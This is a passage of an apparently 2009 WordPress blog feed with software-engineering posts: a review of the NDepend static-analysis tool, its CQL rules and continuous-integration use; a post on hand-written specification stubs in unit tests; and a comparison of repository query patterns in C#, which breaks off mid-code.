<p>This is what we normally need to be alerted with. CodeCampServer.Website.Impl makes a circular reference with CodeCampServer.Website. A reference from CodeCampServer.Website into a member in more specific namespace like CodeCampServer.Website.Impl signals some kind of smell.</p>
<p>You can navigate through the detail of the reference by clicking on the box. Turns out that CodeCampServer.Website.Globals make a reference to CodeCampServer.Website.Impl.RouteConfigurator.</p>
<p><a href="http://hendryluk.files.wordpress.com/2009/04/image4.png"><img style="display:inline;border-width:0;" title="image" src="http://hendryluk.files.wordpress.com/2009/04/image-thumb4.png?w=193&#038;h=222" alt="image" width="193" height="222" border="0" /></a> <a href="http://hendryluk.files.wordpress.com/2009/04/image5.png"><img style="display:inline;border-width:0;" title="image" src="http://hendryluk.files.wordpress.com/2009/04/image-thumb5.png?w=470&#038;h=103" alt="image" width="470" height="103" border="0" /></a></p>
<p>The reference is apparently caused by Windsor IoC configuration in Globals.RegisterMvcTypes() methods.</p>
<p><a href="http://hendryluk.files.wordpress.com/2009/04/image10.png"><img style="display:inline;border-width:0;" title="image" src="http://hendryluk.files.wordpress.com/2009/04/image-thumb10.png?w=618&#038;h=65" alt="image" width="618" height="65" border="0" /></a></p>
<p>Since Global is only referencing RouteConfigurator by its class, and not communicating with it in any way, NDepend indicates 0 on the reference. These 2 components are entangled for a conscious intention,so this analysis concluded no design problem. However this is a good example of using NDepend feedback to discover potential design smell in many parts of applications. For example look at the following dependency matrix for Spring.Net code:</p>
<p><a href="http://hendryluk.files.wordpress.com/2009/04/image6.png"><img style="display:inline;border-width:0;" title="image" src="http://hendryluk.files.wordpress.com/2009/04/image-thumb6.png?w=431&#038;h=192" alt="image" width="431" height="192" border="0" /></a></p>
<p>The black areas indicates that those namespaces are tightly entangled together. Tight coupling means that all those 6 namespaces can only be understood together, which adds complexity in understanding and maintaining the code. Of course tight-coupling also means that they all can only be used together. I.e. to use dependency-injection capability from Spring.Core, you will need the presence of Spring.Validation in the baggage.</p>
<h1>Metric</h1>
<p>NDepend presents overview information about our code in various metric. For example, here is “Line of Code” metric for CodeCampServer.</p>
<p><a href="http://hendryluk.files.wordpress.com/2009/04/metrictreemapsnapshot.png"><img style="display:inline;border-width:0;" title="MetricTreemapSnapshot" src="http://hendryluk.files.wordpress.com/2009/04/metrictreemapsnapshot-thumb.png?w=408&#038;h=408" alt="MetricTreemapSnapshot" width="408" height="408" border="0" /></a></p>
<p>CodeCampServer is written with TDD, so unsurprisingly, Unit-Tests takes up majority of the code lines. Followed by integration-tests. The biggest portion of application-code is on Website layer. And here is my favorite part: just like a street map, you can zoom deeply into this map by scrolling your map, from top assembly level down to classes and individual methods! In fact, you can use your mouse scroll to zoom almost anything in NDepend user interface.</p>
<p>Now let’s see the map for <a href="http://en.wikipedia.org/wiki/Cyclomatic_complexity" target="_blank">Cyclomatic Complexity</a> metric. The more if/else/switch statements in your code, the higher Cyclomatic Complexity it gets.</p>
<p><a href="http://hendryluk.files.wordpress.com/2009/04/metrictreemapsnapshot1.png"><img style="display:inline;border-width:0;" title="MetricTreemapSnapshot" src="http://hendryluk.files.wordpress.com/2009/04/metrictreemapsnapshot-thumb1.png?w=413&#038;h=413" alt="MetricTreemapSnapshot" width="413" height="413" border="0" /></a></p>
<p>CodeCampServer is developed using Domain-Driven-Design approach, so when it comes to complexity and decision-making, Model layer takes up most of the space. Unit-test takes just about the same size.</p>
<h1>Code Query Language</h1>
<p>I can’t repeat this enough: <em>CQL is brilliant</em>! It gives you the power to gather just about any information you need about your source code. CQL is very similar to SQL, but instead of querying the database, you are querying into your <em>source-code</em>. You can use CQL to quickly search for particular areas in your code that can be of your interest in term of code quality.</p>
<p>The information that you can query with CQL is comprehensive. NDepends provides a huge <a href="http://www.ndepend.com/Features.aspx#Metrics" target="_blank">82 code metrics</a> that provides access to large range of information you need.</p>
<ul>
<li>Which methods have been refactored since last release and is not thoroughly covered by unit-tests?<br />
<span style="font-family:Courier New;"><span style="color:#800000;">SELECT METHODS WHERE CodeWasChanged AND PercentageCoverage &lt; <strong>100</strong></span></span></li>
<li>What public methods could be declared as private?<br />
<span style="color:#400000;font-family:Courier New;"><span style="color:#800000;">SELECT METHODS WHERE IsPublic AND CouldBePrivate</span> </span></li>
<li>What are the 10 most complex methods?<br />
<span style="color:#800000;font-family:Courier New;">SELECT TOP <strong>10</strong> METHODS ORDER BY CyclomaticComplexity</span></li>
</ul>
<h1>Code Inspection</h1>
<p>So far we have been talking about all various statistics and analysis, but we haven’t seen the part that matters the most in a static analysis tool: code inspection. You can set up custom coding guidelines using CQS, and let NDepend regularly inspect your codebase to meet the project standard, and issue warnings when somebody violates the rule.</p>
<p>Let’s say, Architectural Guidelines:</p>
<ul>
<li>DDD Value Object has to be immutable<br />
<span style="color:#800000;font-family:Courier New;">WARN IF Count &gt; 0 IN SELECT TYPES WHERE !IsImmutable AND HasAttribute &#8220;ValueObject&#8221;</span></li>
<li>Web layer should not have direct dependency to Data layer<br />
<span style="color:#800000;font-family:Courier New;">WARN IF Count &gt; 0 IN SELECT METHODS FROM NAMESPACES &#8220;Web&#8221; WHERE IsDirectlyUsing &#8220;Data&#8221;</span></li>
<li>Repository should not flush NHibernate session. It violates unit-of-work pattern.<br />
<span style="color:#800000;font-family:Courier New;">WARN IF Count &gt; 0 IN SELECT METHODS FROM NAMESPACES &#8220;Data&#8221; WHERE IsUsing &#8220;NHibernate.ISession.Flush()&#8221;</span></li>
<li>All public methods of Services has to be surrounded by database transaction<br />
<span style="color:#800000;font-family:Courier New;">WARN IF Count &gt; 0 IN SELECT METHODS FROM ASSEMBLIES &#8220;Services&#8221; WHERE IsPublic AND !HasAttribute &#8220;Transactional&#8221;</span></li>
</ul>
<p>Quality Standards:</p>
<ul>
<li>Methods that are way too long, and obviously unreadable<br />
<span style="color:#800000;font-family:Courier;">WARN IF Count &gt; 0 IN SELECT METHODS WHERE NbILInstructions &gt; 200 ORDER BY NbILInstructions DESC</span></li>
<li>Methods that have too many parameters are smelly.<br />
<span style="color:#800000;font-family:Courier New;">WARN IF Count &gt; 0 IN SELECT METHODS WHERE NbParameters &gt; 5 ORDER BY NbParameters DESC</span></li>
<li>Classes that have too many methods. Chances are they violate Single Responsibility Principle<br />
<span style="color:#800000;font-family:Courier New;">WARN IF Count &gt; 0 IN SELECT TYPES WHERE NbMethods &gt; 20 ORDER BY LCOM DESC</span></li>
<li>Classes that overuse inheritance. You should consider <em>favour_composition_over_inheritance</em> principle<br />
<span style="color:#800000;font-family:Courier New;">WARN IF Count &gt; 0 IN SELECT TYPES WHERE DepthOfInheritance &gt; 6 ORDER BY DepthOfInheritance DESC</span></li>
</ul>
<h1>Continuous Quality</h1>
<p>Continuous quality is the ultimate goal of code-analysis tools. You can hook NDepend to your project’s continuous integration servers.</p>
<p><a href="http://weblogs.asp.net/lkempe/archive/2008/04/25/using-ndepend-in-team-city-build-management-tool.aspx" target="_blank">Hooking NDepend to TeamCity</a> allows it to continuously monitor the quality of the project based on design rules you specifies, and ring the alarm when somebody checks-in some malicious code that violates design guidelines of the house. This gives an immediate feedback to the developers to <em>fix</em> the code before it degrades the codebase. Yes, <strong>we “Fix” code NOT only when something is broken, but also when the code does not meet certain quality threshold!</strong> It’s often difficult to get that across to some people.</p>
<p>This ensures not only that all codes being checked-in can actually be built into an actual application that satisfies all the requirements (unit-tests), but also ensures that the codebase <em>continuously</em> meet acceptable level of quality.</p>
<p>TeamCity is a really nice development dashboard that provides you a great detail of information about the current state of the application and its historical progressions, and NDepends supplies quantitative numbers for various quality metrics that you can track back. You can even use NDepend to analyse differences between 2 versions of source code and the implication to the metrics. You can observe how the metrics are evolving over time. In general, this will gives you a trend looking more or less like this:</p>
<p><a href="http://hendryluk.files.wordpress.com/2009/04/image7.png"><img style="display:inline;border-width:0;" title="image" src="http://hendryluk.files.wordpress.com/2009/04/image-thumb7.png?w=449&#038;h=251" alt="image" width="449" height="251" border="0" /></a></p>
<p>At the start of the project, the code is looking good. Methods are short, classes are awesomely designed, loose coupling is maintained. Over time as the complexity grows, methods are getting stuffed up with if/else and non-sense code, classes are entangled together… The code starts to decay. When the code gets so bad and the heat goes beyond acceptable level or violates certain coding guidelines, NDepend starts complaining screaming for refactoring.</p>
<p>The developers starts cleaning up their mess and refactor the code, while the code is still reasonably manageable. The heat cools down a bit, and quality is getting better. As the development progressing, the heat keeps jumping up and each time NDepend gives you immediate feedback, allowing you to refactor the code before it gets too difficult. The overall code quality is constant over time.</p>
<p>Without continuous inspection to code quality, the diagram would have been:</p>
<p><a href="http://hendryluk.files.wordpress.com/2009/04/image8.png"><img style="display:inline;border-width:0;" title="image" src="http://hendryluk.files.wordpress.com/2009/04/image-thumb8.png?w=446&#038;h=325" alt="image" width="446" height="325" border="0" /></a></p>
<p>The code decays steadily as it grows. It’s becoming less and less manageable with the intention to refactor it when you feel critical. But before you know it, the code is already too difficult to be refactored. Making a single change is totally painful, and people end up throwing more mud into it everyday until the code turns into a <a href="http://en.wikipedia.org/wiki/Big_ball_of_mud" target="_blank">big ball of mud</a>, that the only thing in your mind everyday is to scrap the code and move on to the next project. And I know that feeling all too well <img src='http://s2.wp.com/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> </p>
<h1>Report</h1>
<p>When it comes to code analysis report, NDepend is top notch. There are ridiculously massive details of information about your code. From trivial lines-of-code, test-coverage, and comments, to dependencies and warnings. You can even compare 2 versions of the source-code. And all of them can be kept track in historical order within TeamCity. All these details can be overwhelming, luckily it’s presented with a great high level summary at the top, followed by increasingly detailed information as you walk down. Here are big-picture summary of CodeCampServer’s codebase:</p>
<p><a href="http://hendryluk.files.wordpress.com/2009/04/image35.png"><img style="display:inline;border-width:0;" title="image" src="http://hendryluk.files.wordpress.com/2009/04/image35-thumb.png?w=500&#038;h=500" alt="image" width="500" height="500" border="0" /></a></p>
<p>Stable or abstract do not mean anything bad or good about the code. That is just a fact about the code.</p>
<ul>
<li>Stable package means that a lot of components are using it. I.e., it has a lot of reasons NOT to change</li>
<li>Abstractness indicates the ratio between interfaces, abstract classes, or sealed classes within the package. Abstract package gives more flexibility in changing the code.</li>
</ul>
<p>Good quality code is a balance between these 2 properties. It’s about finding equilibrium between 2 extreme characteristics:</p>
<ul>
<li>Painful: the package used by a lot of people, but lack of abstractness, hence painful to change</li>
<li>Useless: the package is used by no one, but it has a lot of abstractness, hence over-engineering.</li>
</ul>
<p>The website and data-access of CodeCampServer are infrastructure implementations, and it is structured that there is nothing in the application that depends on them. Thus they’re located at the edge of instability in the diagram. The core of the application, Model layer are by nature stable. They cannot be easily changed without affecting the other part of the application. Luckily it is highly decoupled (using service-interface and repository-interface), so it has higher abstraction, although not enough to make it into green area.</p>
<h1></h1>
<h1>Summary</h1>
<h2>Weakness</h2>
<p>There are however some area that NDepend still falls short.</p>
<ol>
<li>CQL is not as powerful as you might expect. The most significant one being the absence of any notion of subquery, or join, or any other mean that allows you to traverse relationship between components. What seem to be pretty simple queries are actually impossible to be expressed in current version of CQL:
<ul>
<li>Select all methods in classes that implement IDisposable</li>
<li>Any method that constructs any class from namespace &#8220;Services&#8221;. (Rule: services should be injected by IoC)</li>
<li>Any member in namespace &#8220;Services&#8221; that has instance field of types from &#8220;Domain.Model&#8221; namespace. (Rule: DDD services should be stateless)</li>
<li>All namespaces that refer to another namespace that make reference to opposite direction (i.e. circular reference)</li>
</ul>
</li>
<li>Continous Integration support is a bit weak. In fact, there is no direct support to TeamCity. Constraint violations can’t be fed into TeamCity alert system. And while TeamCity can store NDepend historical reports as artefacts, there is no easy way to follow the progression summary of the stats. E.g. growth of code size or dependencies (other than collecting all the reports ourselves), like what TeamCity does with code-coverage graphs. But maybe I’m just too demanding…</li>
<li>82 metrics are impressive, added with CQL it makes NDepend far superior than other code-analysis tools in term of the easiness of customisation. However, I haven’t found any mean to actually extend the metrics (or the constraints). Even though FxCop’s customisability is very limited, it’s fairly easy to write your own plugin and extend the tool yourself.</li>
</ol>
<p>Having said that, NDepend is a really impressive tool. Lives for architects and application designers have never been easier. They no longer need to deal only with whiteboards and CASE tools. NDepend allows them to deal straight with the actual code <em>realtime</em>. Looking into the code from architectural viewpoint. NDepend provides great deal of flexibility with its brilliant CQL. NDepend is very intuitive, and it took me almost no time to get going and do interesting things.</p>
<br /> Tagged: Architecture, Development Practice, Domain Driven Design, NDepend, Tools <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hendryluk.wordpress.com/381/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hendryluk.wordpress.com/381/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hendryluk.wordpress.com/381/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hendryluk.wordpress.com/381/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/hendryluk.wordpress.com/381/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/hendryluk.wordpress.com/381/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/hendryluk.wordpress.com/381/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/hendryluk.wordpress.com/381/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hendryluk.wordpress.com/381/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hendryluk.wordpress.com/381/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hendryluk.wordpress.com/381/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hendryluk.wordpress.com/381/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hendryluk.wordpress.com/381/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hendryluk.wordpress.com/381/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hendryluk.wordpress.com&amp;blog=3697224&amp;post=381&amp;subd=hendryluk&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://hendryluk.wordpress.com/2009/04/28/ndepend-for-continuous-quality/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/6da01884f4c56e4affdde6e9317ee466?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">Hendry Luk</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2009/04/image-thumb.png" medium="image">
			<media:title type="html">image</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2009/04/image-thumb12.png" medium="image">
			<media:title type="html">image</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2009/04/image5-thumb.png" medium="image">
			<media:title type="html">image</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2009/04/dependencygraphsnapshot-thumb1.png" medium="image">
			<media:title type="html">DependencyGraphSnapshot</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2009/04/image-thumb2.png" medium="image">
			<media:title type="html">image</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2009/05/image_thumb2.png" medium="image">
			<media:title type="html">image</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2009/05/image_thumb1.png" medium="image">
			<media:title type="html">image</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2009/04/image-thumb4.png" medium="image">
			<media:title type="html">image</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2009/04/image-thumb5.png" medium="image">
			<media:title type="html">image</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2009/04/image-thumb10.png" medium="image">
			<media:title type="html">image</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2009/04/image-thumb6.png" medium="image">
			<media:title type="html">image</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2009/04/metrictreemapsnapshot-thumb.png" medium="image">
			<media:title type="html">MetricTreemapSnapshot</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2009/04/metrictreemapsnapshot-thumb1.png" medium="image">
			<media:title type="html">MetricTreemapSnapshot</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2009/04/image-thumb7.png" medium="image">
			<media:title type="html">image</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2009/04/image-thumb8.png" medium="image">
			<media:title type="html">image</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2009/04/image35-thumb.png" medium="image">
			<media:title type="html">image</media:title>
		</media:content>
	</item>
		<item>
		<title>Are You a Mockaholic?</title>
		<link>http://hendryluk.wordpress.com/2009/04/20/dont-limit-yourself-to-mocking-frameworks/</link>
		<comments>http://hendryluk.wordpress.com/2009/04/20/dont-limit-yourself-to-mocking-frameworks/#comments</comments>
		<pubDate>Mon, 20 Apr 2009 06:34:35 +0000</pubDate>
		<dc:creator>Hendry Luk</dc:creator>
				<category><![CDATA[Software Development]]></category>

		<guid isPermaLink="false">http://hendryluk.wordpress.com/?p=320</guid>
		<description><![CDATA[Mockaholic: (noun) &#8211; a person who compulsively takes mocking frameworks as the answer to every test-isolation. In my current project, I use Specification pattern for my data-access query, and while it is testable, they were anything but fun. Here&#8217;s some SUT of my MVC Customer controller: I stripped out all PTO related stuffs for clarity. [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hendryluk.wordpress.com&amp;blog=3697224&amp;post=320&amp;subd=hendryluk&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<blockquote><p><strong>Mockaholic</strong>: (noun) &#8211; <em>a person who compulsively takes mocking frameworks as the answer to every test-isolation.</em></p></blockquote>
<p>In my current project, I use <a href="http://hendryluk.wordpress.com/2009/03/23/extensible-query-with-specification-patterns/">Specification pattern</a> for my data-access query, and while it is testable, they were anything but fun.</p>
<p>Here&#8217;s some SUT of my MVC Customer controller:</p>
<p><pre class="brush: csharp;">
public ActionResult Search(string name, DateTime? dob, bool? isTerminated)
{
	ISpecification spec = null;
	if(!name.IsNullOrEmpty())
		spec &amp;= whereCustomer.NameContains(name);
	if(dob != null)
		spec &amp;= whereCustomer.WasBornInDay(dob.Value);
	if(isTerminated != null)
		spec &amp;= isTerminated? whereCustomer.IsTerminated(): !whereCustomer.IsTerminated();

	searchResult = repository.Query(spec);
	return View(&quot;search&quot;, searchResult);
}
</pre></p>
<p>I stripped out all PTO related stuffs for clarity. Using Rhino-Mock, here is the unit-test:<br />
<em>(PS: &amp;, |, and ! operators call And(), Or(), and Not() instance methods respectively behind the scene)</em></p>
<p>Test-Case:</p>
<p><pre class="brush: csharp;">
IWhereCustomer whereCustomer = MockRepository.CreateStub&lt;IWhereCustomer&gt;();

ISpecification&lt;Customer&gt; nameSpec = StubSpec();
ISpecification&lt;Customer&gt; dobSpec = StubSpec();
ISpecification&lt;Customer&gt; notTerminatedSpec = StubSpec();
ISpecification&lt;Customer&gt; finalSpec = StubSpec();

whereCustomer.Expect(x =&gt; whereCustomer.NameContains(&quot;Hendry&quot;)).Return(nameSpec);
whereCustomer.Expect(x =&gt; whereCustomer.WasBornInDay(dob)).Return(dobSpec);
whereCustomer.Expect(x=&gt; whereCustomer.IsTerminated().Not()).Return(notTerminatedSpec); // Recursive Mock

nameSpec.Expect(x=&gt; x.And(dobSpec).And(notTerminatedSpec)).Return(finalSpec); // Recursive Mock

repository.Expect(x=&gt; x.Query(finalSpec)).Return(stubCustomers);

controller.Search(&quot;Hendry&quot;, dob, false).ShouldRenderView(&quot;search&quot;).WithModel(stubCustomers);
</pre></p>
<p>Although the code bloat has been reduced significantly by the new <a href="http://ayende.com/Blog/archive/2008/10/10/recursive-mocking.aspx">recursive mock</a> feature in Rhino-Mock 3.5, the test is still far than neat. It&#8217;s tedious to write, difficult to read. From reader&#8217;s perspective, I can&#8217;t immediately figure out what this unit-test is trying to express. If this is how I should write unit-test for anything dealing with ISpecification, I definitely need to find something better.</p>
<p>So I scrap the whole Rhino-Mock stuffs from my unit-test, and write my own hand-coded stub for ISpecification class myself, and I&#8217;m able to refactor my test-case into:</p>
<p><pre class="brush: csharp;">
IWhereCustomer whereCustomer = StubSpecificationFactory&lt;IWhereCustomer&gt;();

repository.Expect(x=&gt; x.Query(
	whereCustomer.NameContains(&quot;Hendry&quot;) &amp; whereCustomer.WasBornInDay(dob) &amp; !whereCustomer.IsTerminated()
	)).Return(stubCustomers);

controller.Search(&quot;Hendry&quot;, dob, false).ShouldRenderView(&quot;search&quot;).WithModel(stubCustomers);
</pre></p>
<p>We managed to reduce the test code by more than a half! And even better, you can use AAA style test that wasn&#8217;t quite possible previously.</p>
<p><pre class="brush: csharp;">
controller.Search(&quot;Hendry&quot;, dob, false).ShouldRenderView(&quot;search&quot;).WithModel(stubCustomers);

repository.AssertWasCalled(x=&gt; x.Query(
	whereCustomer.NameContains(&quot;Hendry&quot;) &amp; whereCustomer.WasBornInDay(dob) &amp; !whereCustomer.IsTerminated());
</pre></p>
<p>How was that possible? Here&#8217;s the stubbed ISpecification that I wrote.</p>
<p><pre class="brush: csharp;">
public class SpecificationMock&lt;T&gt;: ISpecification&lt;T&gt;
{
	private MethodInfo methodInfo;
	private object[] args;

	public override bool Equals(object other)
	{
		SpecificationMock&lt;T&gt; spec = other as SpecificationMock&lt;T&gt;;
		if(spec== null)
			return false;
		return methodInfo.Equals(spec.methodInfo) &amp;&amp; args.SequenceEquals(spec.args);
	}
}
</pre></p>
<p>So this stub is only responsible in <em>comparing equality</em> between expectated and actual ISpecification.<br />
Mocked IWhereCustomer will forward all MethodInfos (NameContains() and WasBornInDay() in this case) and its arguments down to the our SpeficiationMock. I use Castle DynamicProxy here to automate that (hence StubSpecificationFactory utility).</p>
<p>By unleashing yourself from full blown mocking-framework and instead going back to basic using handcrafted mock objects, you can actually produce a much simpler test design, using a carefully established &#8220;test-oriented vocabulary&#8221; that suits your specific situation.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hendryluk.wordpress.com/320/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hendryluk.wordpress.com/320/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hendryluk.wordpress.com/320/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hendryluk.wordpress.com/320/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/hendryluk.wordpress.com/320/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/hendryluk.wordpress.com/320/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/hendryluk.wordpress.com/320/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/hendryluk.wordpress.com/320/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hendryluk.wordpress.com/320/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hendryluk.wordpress.com/320/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hendryluk.wordpress.com/320/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hendryluk.wordpress.com/320/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hendryluk.wordpress.com/320/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hendryluk.wordpress.com/320/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hendryluk.wordpress.com&amp;blog=3697224&amp;post=320&amp;subd=hendryluk&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://hendryluk.wordpress.com/2009/04/20/dont-limit-yourself-to-mocking-frameworks/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/6da01884f4c56e4affdde6e9317ee466?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">Hendry Luk</media:title>
		</media:content>
	</item>
		<item>
		<title>Extensible Query with Specification Pattern</title>
		<link>http://hendryluk.wordpress.com/2009/03/23/extensible-query-with-specification-patterns/</link>
		<comments>http://hendryluk.wordpress.com/2009/03/23/extensible-query-with-specification-patterns/#comments</comments>
		<pubDate>Mon, 23 Mar 2009 11:38:53 +0000</pubDate>
		<dc:creator>Hendry Luk</dc:creator>
				<category><![CDATA[Software Development]]></category>
		<category><![CDATA[Linq]]></category>
		<category><![CDATA[nHibernate]]></category>

		<guid isPermaLink="false">http://hendryluk.wordpress.com/?p=274</guid>
		<description><![CDATA[Writing finder methods for data repositories is problematic. The following is an example of pretty simplistic customer-search screen: Email Address: [________] Name: [_______] Age: from [__] to [__] year old Is terminated: [ ]Yes [ ]No {Search} Now how are we going to implement data query behind this search? I&#8217;ll go through several alternatives. (Jump [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hendryluk.wordpress.com&amp;blog=3697224&amp;post=274&amp;subd=hendryluk&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Writing finder methods for data repositories is problematic. The following is an example of pretty simplistic customer-search screen:<br />
Email Address: [________]<br />
Name: [_______]<br />
Age: from [__] to [__] year old<br />
Is terminated: [ ]Yes [ ]No<br />
{Search}</p>
<p>Now how are we going to implement data query behind this search? I&#8217;ll go through several alternatives. (Jump to <a href="#solution">solution</a> if you can&#8217;t care less). Let&#8217;s start from the simplest approach. </p>
<h2>1. Repository Finder Methods</h2>
<p><pre class="brush: csharp;">
IList&lt;Customer&gt; result = customerRepository.SearchByBlaBlaBloodyBla(email, name, ageFrom, ageTo, isTerminated);
</pre><br />
Let me give more context about what I&#8217;m working on. I&#8217;m developing an application that is intended to be an extensible vertical CRM framework. The client will provide their own new screens/functionalities by writing specific plugin implementation in their own separate assembly, without requiring modification on the framework (Open-Closed Principle).<br />
The approach you just saw above tightly couples the repository API with specific UI design. Any change with the design of the search screen will require the repository API to be reworked. And should we create one repository method for each search screen? Furthermore, when a new search screen or report functionality is plugged into the system by adding new plugin, we need to somehow extend the data repository API to cover each of those specific screen scenarios. This is not an easily extensible architecture.<br />
The upside, this approach is simple and very easy to mock for unit-test. When flexibility is not an issue, I would go for this approach.</p>
<h2>2. Lambda-Expression Repository</h2>
<p><pre class="brush: csharp;">
IList&lt;Customer&gt; result = repository.FindAll&lt;Customer&gt;(
	x =&gt; x.EmailAddress == emailAddress &amp;&amp; x.IsTerminated == isTerminated);  // and so on
</pre><br />
This code uses repository API from FluentNHibernate. I like this API because we only have one single general-purpose Repository. It decouples the repository completely from specific UI design. However I&#8217;m not comfortably about leaking naked Linq outside of repository. Exposing Linq to other layer will scatter the database concern all across application. Let&#8217;s consider what happens if we decides to refactor IsTerminated property that is currently implemented as a column in DB into C# code, say:<br />
<pre class="brush: csharp;">
public bool IsTerminated {get {return this.TerminationDate != null; }};
</pre><br />
The earlier Linq statement (possibly scattered all over the place) will start to fail since Linq is unable to map IsTerminated property into a correct SQL where clause.</p>
<h2>3. Pipe and Filter Pattern</h2>
<p><pre class="brush: csharp;">
IQueryable&lt;Customer&gt; result = repository.All&lt;Customer&gt;().WithEmail(emailAddress).AgeAbove(ageFrom).AgeBelow(ageTo);
if(isTerminated != null)
	result = (isTerminated)? result.IsTerminated(): result.IsNotTerminated();	
</pre><br />
Or in this case, that should be wrapped into:<br />
<pre class="brush: csharp;">
IList&lt;Customer&gt; result = repository.All&lt;Customer&gt;().WithBlaBloodyBla(emailAddress, name, ageFrom, ageTo, isTerminated).List();
</pre><br />
<a href="http://wolfbyte-net.blogspot.com/2008/04/pipe-and-filters-fluent-apis-and-linq.html">This approach</a> leverages fluent IQueryable and extenssion-methods. It still exposes IQueryable which leaks database concern outside repository, but it&#8217;s much better since the query is properly encapsulated behind easy-to-read and maintainable extenssion methods.<br />
In the above example with isTerminated check, it&#8217;s obvious that this approach is doing pretty well in handling dynamic query that is very difficult to express using previous lambda-expression approach. But the flexibility is pretty limited, or to be specific, you can only chain multiple filters in an AND relationship.<br />
Another problem of this approach, which is actually the main reason I steer away from approaches #2 #3 #4, is on unit-testing. Yes it is <a href="http://hendryluk.wordpress.com/2008/10/07/data-access-test-with-sqlite/">very easy</a> to unit-test each of the filter independently, but it is <a href="http://hendryluk.wordpress.com/2008/09/08/how_do_you_test_pipe_and_filter/">extremely difficult</a> to mock out those filters to unit-test services that depends on it. I&#8217;ll describe the problem in the next approach.</p>
<h2>4. Specification pattern</h2>
<p><pre class="brush: csharp;">
IList&lt;Customer&gt; result = repository.FindAll&lt;Customer&gt;(new WithinAgeCustomerSpecification(ageFrom, ageTo));
</pre><br />
My prefered solution is largely derived from <a href="http://www.codeinsanity.com/2008/08/repository-pattern.html">specification pattern</a>, I&#8217;ll give extra highlight to this approach later. Long story short, IMO this approach is best since it doesn&#8217;t leak any data-concern and linq to outside repository. It also separates the responsiblities between loading/saving domain entity (repository) and querying (specification). I&#8217;ll start with the problem.<br />
As mentioned, it&#8217;s very easy to unit-test each of the specification using the infamous <a href="http://hendryluk.wordpress.com/2008/10/07/data-access-test-with-sqlite/">in-memory/sqlite repository testing</a>. But it&#8217;s incredibly difficult to unit-test the UI controller and application layer that uses the specification.<br />
Just to give a concrete illustration, this is how I write unit-test had I used the approach #1. (Simplified to search age only)<br />
<pre class="brush: csharp;">
customerRepository.Expect(x =&gt; x.SearchByAgeBetween(20, 30)).Return(stubCustomers);
ViewResult view = customerSearchController.Search(20, 30); 
Assert.That(view.Model, Is.EqualTo(stubCustomers);
</pre></p>
<p>But anyone has suggestion how I could test the following controller (simplified)?<br />
<pre class="brush: csharp;">
public class CustomerController: Controller
{
	IRepository repository; //Injected
	
	public ActionResult Search(int? ageFrom, int? ageTo)
	{
